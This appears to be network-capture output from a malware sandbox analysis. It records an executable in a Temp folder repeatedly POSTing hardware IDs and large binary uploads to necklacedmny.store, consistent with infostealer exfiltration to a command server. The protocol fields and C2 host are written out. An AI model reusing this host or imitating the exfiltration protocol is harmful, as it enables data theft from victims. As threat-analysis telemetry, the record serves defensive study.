2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 49 2b 65 66 6f 6f 32 30 6e 2b 45 51 37 37 39 61 5a 78 48 55 4f 2f 30 35 70 54 2f 56 77 48 55 42 58 6b 64 2f 4c 7a 69 6d 35 45 38 4f 71 6f 38 75 51 56 77 2b 32 56 58 7a 36 6e 70 4c 50 4a 31 75 36 52 32 74 42 2f 6e 67 43 54 56 65 63 32 59 75 47 59 62 59 4d 6a 2f 7a 74 2f 71 74 68 4c 50 68 46 4f 75 72 61 6c 4d 64 6a 44 2f 30 47 4c 51 62 33 5a 46 41 62 42 62 72 64 6b 5a 6f 72 6b 41 43 44 39 66 50 36 75 43 41 7a 75 46 4e 79 35 4e 4c 56 6d 79 63 48 38 55 78 71 52 66 6c 34 48 55 4e 4d 6e 64 65 44 6a 57 47 73 43 6f 6e 67 35 2b 6d 69 62 79 62 79 51 6a 37 73 30 70 48 52 62 45 4f 30 42 6d 52 65 73 43 52 51 59 30 36 45 2f 5a 6d 53 4b 61 46 46 6d 72 4c 6b 34 4f 4d 34 62 50 39 47 4d 2b 4c 55 6b 38 68 69 44 76 70 44 61 55 48 38 66 42 42 41 51 35 54 54 67 34 68 6c 73 67 Data Ascii: I+efoo20n+EQ779aZxHUO/05pT/VwHUBXkd/Lzim5E8Oqo8uQVw+2VXz6npLPJ1u6R2tB/ngCTVec2YuGYbYMj/zt/qthLPhFOuralMdjD/0GLQb3ZFAbBbrdkZorkACD9fP6uCAzuFNy5NLVmycH8UxqRfl4HUNMndeDjWGsCong5+mibybyQj7s0pHRbEO0BmResCRQY06E/ZmSKaFFmrLk4OM4bP9GM+LUk8hiDvpDaUH8fBBAQ5TTg4hlsg
2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 35 4b 68 6d 49 76 64 4d 50 75 36 65 32 34 4e 67 47 37 6f 65 49 32 48 71 63 52 5a 55 56 4b 66 5a 69 39 45 70 6f 55 57 61 73 75 54 67 34 7a 68 73 2b 30 59 34 37 74 75 52 79 32 41 41 2b 30 70 6e 53 2f 31 34 47 55 64 41 67 4d 79 4e 6a 6d 6d 78 42 59 7a 2b 38 65 4b 6d 59 43 43 32 42 48 4c 6b 78 74 57 62 4a 7a 4c 74 52 69 4e 5a 76 6d 56 51 52 45 6e 53 68 73 75 50 5a 4b 77 48 6a 50 4c 69 37 36 64 72 4b 2f 42 4d 4d 2b 44 62 6c 73 5a 68 41 76 70 4b 61 55 48 34 64 68 35 4f 51 35 62 59 6a 63 41 6e 2f 67 79 62 73 72 75 73 6b 57 30 69 2f 30 6b 30 37 73 69 39 38 69 63 63 74 46 38 6a 51 66 77 38 53 41 4e 42 6d 64 61 48 68 57 47 37 43 6f 76 34 36 2b 4f 73 63 69 33 35 51 7a 58 6f 30 35 72 4e 59 67 33 6f 51 57 68 4e 2b 48 55 65 52 51 58 63 6e 6f 79 59 4b 65 5a 4c 74 66 48 Data Ascii: 5KhmIvdMPu6e24NgG7oeI2HqcRZUVKfZi9EpoUWasuTg4zhs+0Y47tuRy2AA+0pnS/14GUdAgMyNjmmxBYz+8eKmYCC2BHLkxtWbJzLtRiNZvmVQREnShsuPZKwHjPLi76drK/BMM+DblsZhAvpKaUH4dh5OQ5bYjcAn/gybsruskW0i/0k07si98icctF8jQfw8SANBmdaHhWG7Cov46+Osci35QzXo05rNYg3oQWhN+HUeRQXcnoyYKeZLtfH
2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 43 6a 34 57 44 50 73 6e 74 75 44 59 42 75 36 48 69 4e 33 35 6e 73 58 54 41 65 37 32 5a 43 42 59 37 30 41 6a 37 4c 38 6f 72 6f 67 4b 2f 6f 4b 61 71 50 54 6d 63 35 6a 45 66 5a 47 59 30 2f 33 64 67 4a 4d 53 70 2f 64 69 34 56 37 76 78 6d 4d 2b 65 62 76 70 32 38 6a 2b 6b 49 34 6f 35 44 56 78 48 39 44 6f 67 5a 50 52 65 46 32 55 6d 52 66 68 4e 6d 48 6b 57 4b 7a 42 38 50 74 72 66 58 6a 5a 79 43 32 45 6e 4c 6a 33 35 6a 52 59 67 4c 77 54 47 35 4f 2f 33 6b 56 54 45 47 57 31 59 57 53 5a 37 45 4c 68 66 6e 69 36 61 42 72 4a 76 68 44 49 4b 4f 51 31 63 52 2f 51 36 49 47 53 56 33 78 63 52 77 42 61 35 6e 49 6a 4d 4a 49 73 41 43 45 2f 76 57 73 76 43 34 31 74 6b 30 2b 6f 34 62 56 79 6d 6b 50 2b 55 46 72 54 76 56 38 47 30 4e 4b 6d 4e 43 4d 6b 6d 4f 79 41 5a 48 39 34 4f 47 6e Data Ascii: Cj4WDPsntuDYBu6HiN35nsXTAe72ZCBY70Aj7L8orogK/oKaqPTmc5jEfZGY0/3dgJMSp/di4V7vxmM+ebvp28j+kI4o5DVxH9DogZPReF2UmRfhNmHkWKzB8PtrfXjZyC2EnLj35jRYgLwTG5O/3kVTEGW1YWSZ7ELhfni6aBrJvhDIKOQ1cR/Q6IGSV3xcRwBa5nIjMJIsACE/vWsvC41tk0+o4bVymkP+UFrTvV8G0NKmNCMkmOyAZH94OGn
2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 4e 79 35 4e 4c 56 6d 79 63 44 2f 6b 70 67 51 66 35 7a 48 55 78 43 6d 64 47 42 6a 6e 75 78 44 6f 76 2b 36 2b 47 78 61 69 62 6b 51 7a 76 75 30 4a 33 52 5a 45 4f 30 42 6d 52 65 73 43 52 51 63 55 2b 52 30 70 32 4e 5a 76 34 55 7a 65 75 6a 36 36 38 67 64 4c 5a 59 49 4f 50 56 6c 63 52 70 45 66 74 4f 62 45 7a 77 65 68 74 4a 52 70 76 61 68 59 6c 76 76 77 61 43 38 2b 50 70 6f 32 6b 2b 2b 77 70 38 6f 39 6d 4e 67 7a 39 44 7a 55 70 6f 64 2f 4e 71 55 46 77 4c 69 35 36 4d 6a 43 6e 6d 53 34 4c 67 37 75 53 6e 59 43 48 77 51 54 50 69 33 5a 58 44 5a 41 50 2f 54 57 78 41 39 33 45 61 53 6b 79 41 31 6f 2b 53 61 62 49 50 77 37 79 6a 36 37 73 67 64 4c 5a 36 4d 65 6a 53 6c 63 35 79 51 2b 55 49 65 67 62 33 63 46 41 62 42 5a 72 56 67 49 5a 69 76 51 69 4e 2b 65 6e 6a 72 47 6f 71 38 Data Ascii: Ny5NLVmycD/kpgQf5zHUxCmdGBjnuxDov+6+GxaibkQzvu0J3RZEO0BmResCRQcU+R0p2NZv4Uzeuj668gdLZYIOPVlcRpEftObEzwehtJRpvahYlvvwaC8+Ppo2k++wp8o9mNgz9DzUpod/NqUFwLi56MjCnmS4Lg7uSnYCHwQTPi3ZXDZAP/TWxA93EaSkyA1o+SabIPw7yj67sgdLZ6MejSlc5yQ+UIegb3cFAbBZrVgIZivQiN+enjrGoq8
2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 54 6e 73 38 6c 41 76 64 57 5a 41 61 2b 50 42 59 44 48 63 4b 51 79 34 52 34 2f 6c 50 54 6f 4c 69 35 38 44 64 38 70 46 56 38 2b 70 36 44 67 7a 39 52 74 41 5a 78 42 71 67 38 56 30 42 58 67 4e 69 49 6c 6d 72 35 4e 62 33 53 36 4f 43 67 62 43 33 78 43 6e 79 6a 30 64 57 62 58 6b 50 35 56 48 45 4a 34 57 6f 64 55 30 4c 65 31 70 71 4e 5a 66 35 46 77 37 37 6e 35 36 39 6c 4b 2b 59 46 49 50 50 56 6d 64 55 72 42 2b 67 47 4c 51 62 68 64 78 39 52 53 35 57 52 6d 70 5a 6b 72 67 69 47 39 61 2f 6b 73 6d 30 67 74 67 52 79 39 74 57 5a 78 57 6f 57 74 56 64 31 52 65 5a 37 58 45 74 55 6e 39 4c 4c 76 79 66 2b 45 38 4f 71 6f 39 6d 67 62 69 4c 78 58 43 4f 75 2f 70 37 50 5a 41 2f 37 51 53 4d 49 73 48 70 51 47 78 62 63 6e 6f 2b 52 4b 65 5a 62 30 61 6d 32 76 2f 51 77 66 75 6b 45 4b 36 Data Ascii: Tns8lAvdWZAa+PBYDHcKQy4R4/lPToLi58Dd8pFV8+p6Dgz9RtAZxBqg8V0BXgNiIlmr5Nb3S6OCgbC3xCnyj0dWbXkP5VHEJ4WodU0Le1pqNZf5Fw77n569lK+YFIPPVmdUrB+gGLQbhdx9RS5WRmpZkrgiG9a/ksm0gtgRy9tWZxWoWtVd1ReZ7XEtUn9LLvyf+E8Oqo9mgbiLxXCOu/p7PZA/7QSMIsHpQGxbcno+RKeZb0am2v/QwfukEK6
2024-11-01 11:34:16 UTC	1369	IN	Data Raw: 50 31 43 30 42 6e 45 47 71 44 78 58 54 55 69 54 33 59 57 44 65 36 77 4e 67 4f 54 67 71 35 31 65 43 66 74 48 4e 2b 33 5a 71 2f 31 47 43 65 70 4c 62 45 48 4f 51 69 64 53 51 6f 4b 63 72 59 4e 2f 76 55 76 4e 73 76 75 73 2b 79 41 4e 2f 46 6f 2f 37 4e 6e 56 6a 53 63 48 75 68 34 6a 59 2f 31 78 46 55 31 43 30 50 2b 42 6b 47 53 78 44 4d 4f 38 6f 2b 44 6a 4f 47 7a 33 51 43 4c 75 30 5a 4b 50 59 42 6e 39 42 69 30 47 2f 6a 78 49 41 30 53 59 7a 6f 61 50 62 76 49 4e 6a 66 79 6a 38 2b 31 35 62 4f 41 4b 61 72 43 51 31 64 45 6e 57 37 6f 42 62 55 76 78 66 78 35 41 56 34 44 59 69 4a 5a 71 2b 54 57 39 31 2b 37 68 70 6d 34 72 79 48 51 54 36 63 36 59 7a 47 42 42 32 6b 46 31 52 63 35 43 4a 31 4a 43 67 70 79 74 67 33 2b 39 53 38 32 79 2b 36 7a 37 49 41 33 38 57 6a 2f 73 32 64 66 Data Ascii: P1C0BnEGqDxXTUiT3YWDe6wNgOTgq51eCftHN+3Zq/1GCepLbEHOQidSQoKcrYN/vUvNsvus+yAN/Fo/7NnVjScHuh4jY/1xFU1C0P+BkGSxDMO8o+DjOGz3QCLu0ZKPYBn9Bi0G/jxIA0SYzoaPbvINjfyj8+15bOAKarCQ1dEnW7oBbUvxfx5AV4DYiJZq+TW91+7hpm4ryHQT6c6YzGBB2kF1Rc5CJ1JCgpytg3+9S82y+6z7IA38Wj/s2df

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49982	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:34:17 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:17 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g321c5hr3emkars40jj7ufup41; expires=Tue, 25-Feb-2025 05:20:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pBnqwtGTTiO5%2Foj8xvLsEzvqwT%2FTYq0JUbG1et7UP%2FUtExnUgTA6%2FS7vD2vHf5%2Bpg1kiQ9ZdUzJNcG9wEj1ThNAgTl7Lh0xz2Fp9zShI7yiMIC01XYk5rKTYc1%2FueQMZm1GQwwo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb9325ba4a6b55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1056&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13791&delivery_rate=2750237&cwnd=32&unsent_bytes=0&cid=35a237a710531828&ts=758&x=0"
2024-11-01 11:34:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49984	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:34:18 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:19 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nj9pcjck8jq40gvqtarbcnk43q; expires=Tue, 25-Feb-2025 05:20:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wHRLWbbweF2%2BRAZ7MfU1Z5Ujl6OT4G6hzX4gQ%2FyEER1bXynMflCUMqLzcZkUVvr%2BY39smHtpaiufsUtSYB30m3YCILuZ5wejfofINmL6uTmcTEhUgNGvEZ1G3EY%2BVn1dvBo9XOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb932fefe74743-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1834&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16023&delivery_rate=1556989&cwnd=107&unsent_bytes=0&cid=07da1b1322df28f2&ts=773&x=0"
2024-11-01 11:34:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49986	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:34:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:21 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-11-01 11:34:22 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2qf3tebe7hotm038tepqmbrl93; expires=Tue, 25-Feb-2025 05:21:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bfxjCyPYiC3mvcHtGLg15ZyureP5cp9kmab%2FnnG6V6BNGXxmD3HPmYZ4FVAF%2BrsdeHOf0nH49SUGGBW6nzvgzXWuFfS9tgn77IPxGMSRZjyR7nky9EMYjLROEWLRZNxMRnyUR5Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb933f59d2c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1026&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=2709073&cwnd=232&unsent_bytes=0&cid=e1a37dd601be70e3&ts=1431&x=0"
2024-11-01 11:34:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49990	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:23 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: necklacedmny.store
2024-11-01 11:34:23 UTC	1235	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:24 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ou7d6ge5afsopbca9kbf4lchn; expires=Tue, 25-Feb-2025 05:21:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NhTOHBN5cMK7ycWw5l9EK%2BVovYHCyzvguOh97cP8cQMq8CzouQ8hcB%2FG90DqNb3sRDzsnDZNu2IQj3SiiXAxUWjIKg%2Bk7UFj8mkmI5CWAuC4h%2BHOCJKhVpSVVz4RjNUdNN%2F%2BURQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb934e9dbc45f0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2154&delivery_rate=1608888&cwnd=251&unsent_bytes=0&cid=bc5ad1802b0e01c3&ts=495&x=0"
2024-11-01 11:34:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49992	188.114.96.3	443	6108	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:25 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 563835 Host: necklacedmny.store
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:25 UTC	15331	OUT	Data Raw: 5c ac 2b e9 0f 74 10 64 2c 8d e8 0b 2d 4d 7d 6b b3 81 01 57 0b b6 3e 7d ca bf 0f 0d c7 06 81 43 1a 8c a9 6e ee 40 c6 80 9c 54 04 dd 62 34 bf ac 7a 1f 63 29 28 a0 00 1b a6 cc de 48 2b e6 f8 ae d3 24 b3 18 d2 9a 76 ae 52 bb fb 81 c1 dc bc 3c 98 ff 5d 53 ff 77 39 00 64 17 34 41 15 04 9c f0 29 73 86 a0 dc 03 49 47 a9 27 17 76 92 8d 47 14 37 e6 3a 47 a2 01 f5 a3 10 ad 55 81 b2 ab 60 21 7e ec 12 28 e4 c7 1c 47 c2 7d 3f 9d fb 1f 43 74 6f ac d1 f9 2e f0 bd c9 45 d2 03 60 f9 88 5d 4d 54 77 7e ee c4 d4 70 a6 64 bf 13 2a 47 6a 61 d2 25 a9 f4 f1 b2 ce ec 57 db ba f1 a4 ad 04 45 cb 82 2f 98 33 da 59 cd 7e 2a a0 e7 11 35 f8 ad 4a bd b2 78 04 db c2 79 77 79 d4 aa 65 a7 b0 1f 49 3a 19 d6 b2 54 a2 ec 32 92 79 1a 89 43 49 bd 07 5d 91 46 a6 61 7e f2 59 1d a8 bc 5b 44 0b 6e Data Ascii: 